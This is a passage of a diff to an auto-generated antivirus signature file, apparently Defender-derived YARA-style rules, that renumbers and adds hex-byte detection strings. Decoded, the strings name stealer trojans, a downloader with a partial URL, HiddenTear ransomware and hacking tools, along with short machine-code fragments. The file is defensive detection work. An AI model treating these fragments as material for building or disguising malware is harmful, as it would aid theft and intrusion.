6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 } //278 - $a_6c_2 = {2e 43 4b 4c 21 4d 54 42 00 01 00 37 03 0a 0b 06 16 73 90 01 03 0a 73 90 01 03 0a 0c 08 07 6f 90 01 03 0a de 0a 08 2c 06 08 6f 90 01 03 0a dc 07 6f 90 01 03 0a 0d de 14 07 2c 06 07 6f 90 01 03 0a dc 90 00 01 00 0a 01 47 5a 69 70 53 74 72 65 61 6d 01 00 0f 01 43 6f 6d 70 72 65 73 73 69 6f 6e 4d 6f 64 65 00 00 78 89 00 00 03 00 03 00 03 00 21 23 } //25940 - $a_61_3 = {65 3a 57 69 6e 33 32 2f 31 38 30 53 6f 6c 75 74 69 6f 6e 73 53 65 61 72 63 68 41 73 73 69 73 74 61 6e 74 00 01 00 11 01 2e 31 38 30 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 01 00 0d 01 7a 61 6e 67 6f 63 61 73 68 5f 75 72 6c 01 00 2c 01 61 70 70 69 64 3d 25 73 26 72 65 71 75 69 72 65 64 3d 25 73 26 64 69 64 61 72 67 3d 25 73 26 64 69 64 3d 25 73 26 70 72 6f } //25665 - $a_00_4 = {00 78 89 00 00 03 00 03 00 03 00 21 23 45 78 63 65 70 74 69 6f 6e 3a 56 75 6e 64 6f 2e 67 65 6e 21 44 00 01 00 23 01 55 6e 69 74 79 54 65 63 68 6e 6f 6c 6f 67 69 65 73 2e 55 6e 69 74 79 2e 55 6e 69 74 79 50 6c 61 79 65 72 01 00 20 01 3c 64 65 73 63 72 69 70 74 69 6f 6e 3e 55 6e 69 74 79 3c 2f 64 65 } //26980 - $a_69_5 = {74 69 6f 6e 3e 01 00 1a 01 55 00 6e 00 69 00 74 00 79 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 00 00 78 89 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 46 52 31 32 33 21 4d 54 42 00 01 00 0b 81 01 43 69 65 6e 61 20 43 6f 72 70 2e 01 00 20 81 01 61 63 63 65 70 74 65 72 69 6e 67 65 } //25459 + $a_33_1 = {30 45 31 36 39 45 41 36 46 45 34 36 30 41 30 45 33 37 35 01 00 0c 01 38 35 38 33 44 41 36 31 46 30 32 31 00 00 78 89 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 65 61 } //278 + $a_2e_2 = {53 21 4d 54 42 00 02 00 32 01 48 89 da e8 9b bf ff ff 41 83 f8 01 0f 94 c0 eb 02 31 c0 c7 45 c8 03 00 00 00 88 45 cc 48 8d 55 c8 48 89 f9 ff 56 20 8b 45 c8 48 8b 4d f8 87 01 a8 04 01 00 25 01 28 48 8d 6a 40 48 8d 4d f0 e8 88 40 ff ff 90 48 83 c4 28 5e 5d c3 48 89 54 24 10 55 56 48 83 ec 28 48 8d 6a 40 00 00 78 89 00 00 03 00 03 00 03 00 21 } //25964 + $a_46_3 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 48 61 73 74 79 54 6f 77 65 72 2e 41 21 64 68 61 00 01 00 0d 01 3a 3c 3d 3f 43 46 4c 4d 50 53 55 5a 5b 01 00 2e 01 73 68 6f 75 6c 64 20 65 76 65 72 79 20 70 72 6f 78 79 20 72 65 71 75 } //16675 + $a_20_4 = {65 20 6c 6f 67 67 65 64 20 74 6f 20 73 74 64 6f 75 74 01 00 14 01 70 72 6f 78 79 20 6c 69 73 74 65 6e 20 61 64 64 72 65 73 73 00 00 78 89 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 4b 4c 21 4d 54 42 00 01 00 37 03 0a 0b 06 16 73 90 01 03 0a 73 90 01 03 0a 0c 08 07 6f 90 01 03 } //29541 + $a_08_5 = {2c 06 08 6f 90 01 03 0a dc 07 } //-8694 condition: - ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*278+(#a_6c_2 & 1)*25940+(#a_61_3 & 1)*25665+(#a_00_4 & 1)*26980+(#a_69_5 & 1)*25459) >=2 + ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*278+(#a_2e_2 & 1)*25964+(#a_46_3 & 1)*16675+(#a_20_4 & 1)*29541+(#a_08_5 & 1)*-8694) >=2 } -rule _InfrastructureShared_9139{ +rule _InfrastructureShared_9705{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 65 61 6c 65 72 2e 4e 53 21 4d 54 42 00 02 00 32 01 48 89 da e8 9b bf ff ff 41 83 f8 01 0f 94 c0 eb 02 31 c0 c7 45 c8 03 00 00 00 88 45 cc 48 8d 55 c8 48 89 f9 ff 56 20 8b 45 c8 48 8b } //16675 + $a_01_1 = {a8 04 01 00 25 01 28 48 8d 6a 40 48 8d 4d f0 e8 88 40 ff ff 90 48 83 c4 28 5e 5d c3 48 89 54 24 10 55 56 48 83 ec 28 48 8d 6a 40 00 00 78 89 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 48 61 73 74 79 54 6f 77 65 72 2e 41 21 64 68 61 00 01 00 0d 01 3a 3c 3d 3f 43 46 4c 4d 50 53 55 5a 5b 01 00 2e 01 73 68 6f 75 6c 64 20 65 76 65 72 79 20 70 72 6f 78 79 20 72 65 } //-1971 + condition: + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-1971) >=3 + +} +rule _InfrastructureShared_9706{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 48 61 73 74 79 54 6f 77 65 72 2e 41 21 64 68 61 00 01 00 0d 01 3a 3c 3d 3f 43 46 4c 4d 50 53 55 5a 5b 01 00 2e 01 73 68 6f 75 6c 64 20 65 76 65 72 79 20 70 72 6f 78 79 20 72 65 71 75 } //16675 + $a_20_1 = {65 20 6c 6f 67 67 65 64 20 74 6f 20 73 74 64 6f 75 74 01 00 14 01 70 72 6f 78 79 20 6c 69 73 74 65 6e 20 61 64 64 72 65 73 73 00 00 78 89 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 43 4b 4c 21 4d 54 42 00 01 00 37 03 0a 0b 06 16 73 90 01 03 0a 73 90 01 03 0a 0c 08 07 6f 90 01 03 } //29541 + $a_08_2 = {2c 06 08 6f 90 01 03 0a dc 07 } //-8694 + condition: + ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29541+(#a_08_2 & 1)*-8694) >=3 + +} +rule _InfrastructureShared_9707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -97923,7 +104106,7 @@ rule _InfrastructureShared_9139{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*5342+(#a_00_2 & 1)*144) >=3 } -rule _InfrastructureShared_9140{ +rule _InfrastructureShared_9708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -97935,7 +104118,7 @@ rule _InfrastructureShared_9140{ ((#a_77_0 & 1)*16675+(#a_61_1 & 1)*26980+(#a_69_2 & 1)*25459) >=3 } -rule _InfrastructureShared_9141{ +rule _InfrastructureShared_9709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -97946,7 +104129,7 @@ rule _InfrastructureShared_9141{ ((#a_63_0 & 1)*17699+(#a_00_2 & 1)*30720) >=3 } -rule _InfrastructureShared_9142{ +rule _InfrastructureShared_9710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -97958,7 +104141,7 @@ rule _InfrastructureShared_9142{ ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*-32475+(#a_61_2 & 1)*29285) >=3 } -rule _InfrastructureShared_9143{ +rule _InfrastructureShared_9711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -97969,7 +104152,7 @@ rule _InfrastructureShared_9143{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29545) >=3 } -rule _InfrastructureShared_9144{ +rule _InfrastructureShared_9712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -97980,7 +104163,7 @@ rule _InfrastructureShared_9144{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*69) >=3 } -rule _InfrastructureShared_9145{ +rule _InfrastructureShared_9713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -97993,7 +104176,7 @@ rule _InfrastructureShared_9145{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*21620+(#a_38_2 & 1)*13110+(#a_6d_3 & 1)*24321) >=3 } -rule _InfrastructureShared_9146{ +rule _InfrastructureShared_9714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -98006,7 +104189,7 @@ rule _InfrastructureShared_9146{ ((#a_46_0 & 1)*16675+(#a_25_1 & 1)*26431+(#a_6c_2 & 1)*25199+(#a_01_4 & 1)*1) >=3 } -rule _InfrastructureShared_9147{ +rule _InfrastructureShared_9715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -98022,7 +104205,7 @@ rule _InfrastructureShared_9147{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*16651+(#a_08_2 & 1)*-29951+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=3 } -rule _InfrastructureShared_9148{ +rule _InfrastructureShared_9716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -98035,7 +104218,7 @@ rule _InfrastructureShared_9148{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_89_3 & 1)*0) >=4 } -rule _InfrastructureShared_9149{ +rule _InfrastructureShared_9717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -98048,7 +104231,7 @@ rule _InfrastructureShared_9149{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*24933+(#a_69_2 & 1)*5120+(#a_72_3 & 1)*30575) >=4 } -rule _InfrastructureShared_9150{ +rule _InfrastructureShared_9718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -98060,7 +104243,7 @@ rule _InfrastructureShared_9150{ ((#a_46_0 & 1)*16675+(#a_64_2 & 1)*3328+(#a_72_3 & 1)*29282) >=4 } -rule _InfrastructureShared_9151{ +rule _InfrastructureShared_9719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -98071,7 +104254,7 @@ rule _InfrastructureShared_9151{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*33) >=4 } -rule _InfrastructureShared_9152{ +rule _InfrastructureShared_9720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -98084,7 +104267,7 @@ rule _InfrastructureShared_9152{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*97+(#a_34_2 & 1)*14646+(#a_89_3 & 1)*0) >=4 } -rule _InfrastructureShared_9153{ +rule _InfrastructureShared_9721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -98097,7 +104280,7 @@ rule _InfrastructureShared_9153{ ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*27210+(#a_2f_2 & 1)*13166+(#a_69_3 & 1)*27745) >=4 } -rule _InfrastructureShared_9154{ +rule _InfrastructureShared_9722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -98110,7 +104293,7 @@ rule _InfrastructureShared_9154{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*30054+(#a_01_2 & 1)*2304+(#a_65_3 & 1)*25957) >=4 } -rule _InfrastructureShared_9155{ +rule _InfrastructureShared_9723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -98123,7 +104306,7 @@ rule _InfrastructureShared_9155{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*26994+(#a_65_2 & 1)*28787+(#a_2e_3 & 1)*25956) >=4 } -rule _InfrastructureShared_9156{ +rule _InfrastructureShared_9724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -98136,7 +104319,7 @@ rule _InfrastructureShared_9156{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*9216+(#a_74_2 & 1)*385+(#a_68_3 & 1)*26950) >=4 } -rule _InfrastructureShared_9157{ +rule _InfrastructureShared_9725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -98149,7 +104332,7 @@ rule _InfrastructureShared_9157{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*27506+(#a_6c_2 & 1)*21505+(#a_72_3 & 1)*28270) >=4 } -rule _InfrastructureShared_9158{ +rule _InfrastructureShared_9726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -98163,21 +104346,43 @@ rule _InfrastructureShared_9158{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25445+(#a_01_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=4 } -rule _InfrastructureShared_9159{ +rule _InfrastructureShared_9727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 04 00 05 00 21 " strings : $a_77_0 = {72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 00 01 00 18 01 63 6c 69 65 6e 74 5f 69 6e 73 74 61 6c 6c 5f 6d 74 78 5f 41 42 43 44 00 01 00 07 00 61 72 73 2e 63 66 67 01 00 20 01 70 6c 61 79 70 69 63 6b 6c 65 77 6e 61 6d 65 00 70 6c 61 79 70 69 63 6b 6c 65 63 6c 61 73 73 00 01 00 0c 00 70 70 } //16675 - $a_6e_1 = {65 72 61 6a 61 01 00 09 00 67 72 73 5f 7a 7a 5f 70 70 00 00 78 89 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 65 79 67 65 6e 21 4d 54 42 2e 77 61 61 33 00 01 00 18 80 01 50 72 6f 78 69 66 69 65 72 2f 59 6f 67 61 44 4e 53 20 4b 65 79 67 65 6e 01 00 08 80 01 47 65 6e 65 } //29279 - $a_65_2 = {00 0c 80 01 4d 69 6b 65 20 4c 69 73 63 68 6b 65 01 00 0d 80 01 54 61 68 6f 6d 61 73 20 53 65 72 69 66 01 00 0a 80 01 4b 65 79 67 65 6e 2e 65 78 65 00 00 78 89 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 53 6f 66 74 63 6e 61 70 70 2e 4d 4b 00 01 00 13 80 01 46 61 6d 69 6c 79 20 54 72 65 65 20 42 75 69 6c 64 65 72 01 00 } //24946 - $a_46_3 = {6d } //-32746 m - $a_20_4 = {6f 6f 6c 62 61 72 5c 6f 66 66 2e 65 78 65 01 00 0b 80 01 46 49 52 45 46 4f 58 2e 45 58 45 01 00 09 80 01 46 69 6e 64 4f 70 65 72 61 01 00 0e 80 01 4d 79 48 65 72 69 74 61 67 65 2e 63 6f 6d 00 00 78 89 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 30 34 30 37 32 32 21 4d 54 42 00 01 00 25 } //27753 + $a_6e_1 = {65 72 61 6a 61 01 00 09 00 67 72 73 5f 7a 7a 5f 70 70 00 00 78 89 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 77 6e 6c 6f 61 64 65 72 2e 50 4d 21 4d 54 42 00 01 00 0f 01 48 54 54 50 20 44 6f 77 6e 6c 6f 61 64 65 72 04 00 45 01 68 74 74 70 73 3a 2f 2f 72 32 2e 65 2d 7a 2e } //29279 + $a_74_2 = {39 64 34 66 66 63 32 61 2d 33 39 37 38 2d 34 65 62 37 2d 39 64 62 39 2d 63 34 62 39 36 63 31 39 31 36 38 32 2f 75 79 38 73 71 66 79 30 2e 65 78 65 00 00 78 89 00 00 05 00 05 00 04 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 48 69 64 64 65 6e 54 65 61 72 2e 47 56 41 21 4d 54 42 00 02 00 0c 01 1f 14 16 03 19 28 02 00 00 06 26 2a 01 } //28520 + $a_00_4 = {61 00 64 00 20 00 4d 00 65 00 2e 00 74 00 78 00 74 00 01 00 18 00 2f 00 6d 00 65 00 73 00 73 00 61 00 67 00 65 00 2e 00 74 00 78 00 74 00 01 00 10 00 70 00 6f 00 73 00 74 00 2e 00 70 00 68 00 70 00 00 00 78 89 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 65 } //82 condition: - ((#a_77_0 & 1)*16675+(#a_6e_1 & 1)*29279+(#a_65_2 & 1)*24946+(#a_46_3 & 1)*-32746+(#a_20_4 & 1)*27753) >=4 + ((#a_77_0 & 1)*16675+(#a_6e_1 & 1)*29279+(#a_74_2 & 1)*28520+(#a_00_4 & 1)*82) >=4 } -rule _InfrastructureShared_9160{ +rule _InfrastructureShared_9728{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6f 77 6e 6c 6f 61 64 65 72 2e 50 4d 21 4d 54 42 00 01 00 0f 01 48 54 54 50 20 44 6f 77 6e 6c 6f 61 64 65 72 04 00 45 01 68 74 74 70 73 3a 2f 2f 72 32 2e 65 2d 7a 2e } //21539 + $a_74_1 = {39 64 34 66 66 63 32 61 2d 33 39 37 38 2d 34 65 62 37 2d 39 64 62 39 2d 63 34 62 39 36 63 31 39 31 36 38 32 2f 75 79 38 73 71 66 79 30 2e 65 78 65 00 00 78 89 00 00 05 00 05 00 04 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 48 69 64 64 65 6e 54 65 61 72 2e 47 56 41 21 4d 54 42 00 02 00 0c 01 1f 14 16 03 19 28 02 00 00 06 26 2a 01 } //28520 + condition: + ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*28520) >=5 + +} +rule _InfrastructureShared_9729{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_4c_0 = {52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 48 69 64 64 65 6e 54 65 61 72 2e 47 56 41 21 4d 54 42 00 02 00 0c 01 1f 14 16 03 19 28 02 00 00 06 26 2a 01 00 18 00 5c 00 52 00 65 00 61 00 64 00 20 00 4d 00 65 00 2e 00 } //21539 + $a_00_1 = {74 00 01 00 18 00 2f 00 6d 00 65 00 73 00 73 00 61 00 67 00 65 00 2e 00 74 00 78 00 74 00 01 00 10 00 70 00 6f 00 73 00 74 00 2e 00 70 00 68 00 70 00 00 00 78 89 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4b 65 79 67 65 6e 21 4d 54 42 2e 77 61 61 33 00 01 00 18 80 01 50 72 6f 78 69 66 69 65 72 2f 59 6f 67 61 44 4e } //116 + $a_65_2 = {67 65 6e 01 00 08 80 01 47 65 6e 65 72 61 74 65 01 00 0c 80 01 4d 69 6b 65 20 4c 69 73 63 68 6b 65 01 00 0d 80 01 54 61 68 6f 6d 61 73 20 53 65 72 69 66 01 00 0a 80 01 4b 65 79 67 65 6e 2e 65 78 65 00 00 78 89 00 00 05 00 05 } //8275 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*116+(#a_65_2 & 1)*8275) >=5 + +} +rule _InfrastructureShared_9730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -98191,7 +104396,7 @@ rule _InfrastructureShared_9160{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*384+(#a_4d_2 & 1)*28784+(#a_65_3 & 1)*26214+(#a_6d_4 & 1)*25390) >=5 } -rule _InfrastructureShared_9161{ +rule _InfrastructureShared_9731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -98205,7 +104410,7 @@ rule _InfrastructureShared_9161{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*-32757+(#a_58_2 & 1)*17989+(#a_30_3 & 1)*12365+(#a_76_4 & 1)*18689) >=5 } -rule _InfrastructureShared_9162{ +rule _InfrastructureShared_9732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -98218,7 +104423,7 @@ rule _InfrastructureShared_9162{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28233+(#a_55_3 & 1)*384+(#a_57_4 & 1)*29285) >=5 } -rule _InfrastructureShared_9163{ +rule _InfrastructureShared_9733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -98231,7 +104436,7 @@ rule _InfrastructureShared_9163{ ((#a_41_0 & 1)*20515+(#a_6b_1 & 1)*384+(#a_65_3 & 1)*23552+(#a_69_4 & 1)*28265) >=5 } -rule _InfrastructureShared_9164{ +rule _InfrastructureShared_9734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -98246,7 +104451,7 @@ rule _InfrastructureShared_9164{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*6+(#a_24_3 & 1)*9472+(#a_30_4 & 1)*13669+(#a_23_5 & 1)*6+(#a_00_6 & 1)*21581) >=5 } -rule _InfrastructureShared_9165{ +rule _InfrastructureShared_9735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -98257,7 +104462,7 @@ rule _InfrastructureShared_9165{ ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*26164) >=6 } -rule _InfrastructureShared_9166{ +rule _InfrastructureShared_9736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -98272,7 +104477,7 @@ rule _InfrastructureShared_9166{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*385+(#a_65_2 & 1)*25902+(#a_61_3 & 1)*19558+(#a_00_4 & 1)*11+(#a_3a_5 & 1)*17748) >=6 } -rule _InfrastructureShared_9167{ +rule _InfrastructureShared_9737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -98287,7 +104492,7 @@ rule _InfrastructureShared_9167{ ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*25959+(#a_43_2 & 1)*384+(#a_2e_3 & 1)*25956+(#a_54_4 & 1)*19525+(#a_01_5 & 1)*-28616) >=7 } -rule _InfrastructureShared_9168{ +rule _InfrastructureShared_9738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 21 " @@ -98299,7 +104504,7 @@ rule _InfrastructureShared_9168{ ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*384+(#a_00_4 & 1)*11) >=8 } -rule _InfrastructureShared_9169{ +rule _InfrastructureShared_9739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -98310,7 +104515,7 @@ rule _InfrastructureShared_9169{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*28417) >=11 } -rule _InfrastructureShared_9170{ +rule _InfrastructureShared_9740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -98321,7 +104526,7 @@ rule _InfrastructureShared_9170{ ((#a_54_0 & 1)*18467+(#a_17_1 & 1)*400) >=12 } -rule _InfrastructureShared_9171{ +rule _InfrastructureShared_9741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -98332,7 +104537,7 @@ rule _InfrastructureShared_9171{ ((#a_4c_0 & 1)*21539+(#a_05_2 & 1)*1299) >=12 } -rule _InfrastructureShared_9172{ +rule _InfrastructureShared_9742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -98345,7 +104550,7 @@ rule _InfrastructureShared_9172{ ((#a_46_0 & 1)*21283+(#a_43_1 & 1)*2560+(#a_72_2 & 1)*28229+(#a_58_3 & 1)*2854) >=13 } -rule _InfrastructureShared_9173{ +rule _InfrastructureShared_9743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 21 " @@ -98355,7 +104560,7 @@ rule _InfrastructureShared_9173{ ((#a_46_0 & 1)*16675) >=15 } -rule _InfrastructureShared_9174{ +rule _InfrastructureShared_9744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -98369,7 +104574,7 @@ rule _InfrastructureShared_9174{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*24908+(#a_1e_2 & 1)*770+(#a_65_4 & 1)*29989+(#a_78_5 & 1)*19971) >=15 } -rule _InfrastructureShared_9175{ +rule _InfrastructureShared_9745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 03 00 21 " @@ -98380,7 +104585,7 @@ rule _InfrastructureShared_9175{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*-28328) >=22 } -rule _InfrastructureShared_9176{ +rule _InfrastructureShared_9746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,67 00 67 00 04 00 21 " @@ -98393,7 +104598,7 @@ rule _InfrastructureShared_9176{ ((#a_4c_0 & 1)*21539+(#a_68_1 & 1)*263+(#a_2e_2 & 1)*25968+(#a_46_3 & 1)*16675) >=103 } -rule _InfrastructureShared_9177{ +rule _InfrastructureShared_9747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff90 01 ffffff90 01 04 00 21 " @@ -98406,7 +104611,7 @@ rule _InfrastructureShared_9177{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*400+(#a_00_2 & 1)*769+(#a_50_3 & 1)*29793) >=400 } -rule _InfrastructureShared_9178{ +rule _InfrastructureShared_9748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -98416,7 +104621,7 @@ rule _InfrastructureShared_9178{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9179{ +rule _InfrastructureShared_9749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -98426,7 +104631,17 @@ rule _InfrastructureShared_9179{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9180{ +rule _InfrastructureShared_9750{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 48 65 6c 6c 50 61 63 6b 65 72 2e 41 21 64 68 61 00 01 00 5a 03 5b 2b 5d 20 53 65 74 74 69 6e 67 20 75 70 20 62 72 65 61 6b 70 6f 69 6e 74 20 66 6f 72 20 62 79 70 61 73 73 21 90 01 03 5b 2d } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_9751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -98436,7 +104651,7 @@ rule _InfrastructureShared_9180{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9181{ +rule _InfrastructureShared_9752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -98446,7 +104661,7 @@ rule _InfrastructureShared_9181{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9182{ +rule _InfrastructureShared_9753{ meta: description = 